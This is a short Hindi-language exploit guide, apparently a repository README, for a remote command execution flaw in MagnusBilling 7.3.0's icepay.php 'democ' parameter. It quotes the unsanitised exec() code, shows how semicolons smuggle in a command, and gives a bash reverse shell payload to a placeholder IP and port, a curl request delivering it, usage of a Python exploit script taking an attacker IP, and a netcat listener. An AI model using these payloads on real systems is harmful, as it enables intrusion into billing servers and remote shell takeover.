
Magnus Billing PHP संसाधन में RCE भेद्यता
magnus billing 7.3.0 में एक रिमोट कोड एक्सेक्यूशन भेद्यता है, "democ" पैरामीटर में "icepay.php" संसाधन से, जहाँ आप क्वेरी से बचकर अपना इच्छित कमांड निष्पादित कर सकते हैं.
if (isset($_GET['democ'])) {
if (strlen($_GET['democ']) > 5) {
exec("touch " . $_GET['democ'] . '.txt');
} else {
exec("rm -rf *.txt");
}
}
"democ" पैरामीटर exec() को भेजा जाता है, ताकि एक नई फ़ाइल बनाई जा सके, लेकिन जैसा कि आप देख सकते हैं, कोई स्ट्रिंग सैनिटाइज़ेशन नहीं है और हमलावर आसानी से touch कमांड से बचकर कोई कमांड निष्पादित कर सकता है या रिवर्स शेल भी प्राप्त कर सकता है. txt एक्सटेंशन को बायपास करने के लिए, हम स्ट्रिंग के अंत में एक और ";" जोड़ सकते हैं. अंतिम पेलोड इस प्रकार दिखेगा:
testfile;<command>;testfile
और exec() फ़ंक्शन में पास करने पर यह इस प्रकार दिखेगा:
exec('touch testfile;<command>;testfile.txt');
उदा. रिवर्स शेल:
exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')
हम स्वयं को रिवर्स शेल प्राप्त करने के लिए curl का उपयोग कर सकते हैं, उदा.
curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile
या यदि आप चाहें, तो आप इस रिपॉजिटरी से python स्क्रिप्ट का उपयोग कर सकते हैं. स्थापना:
git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository
cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258 # change directory
chmod +x ./magnusbilling_rce.py # add execution permissions to the python script
उपयोग:
./magnusbilling_rce.py -h # show help
./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/
और सबसे अंत में, netcat के साथ एक लिसनर शुरू करना न भूलें:
nc -nlvvp <local_port>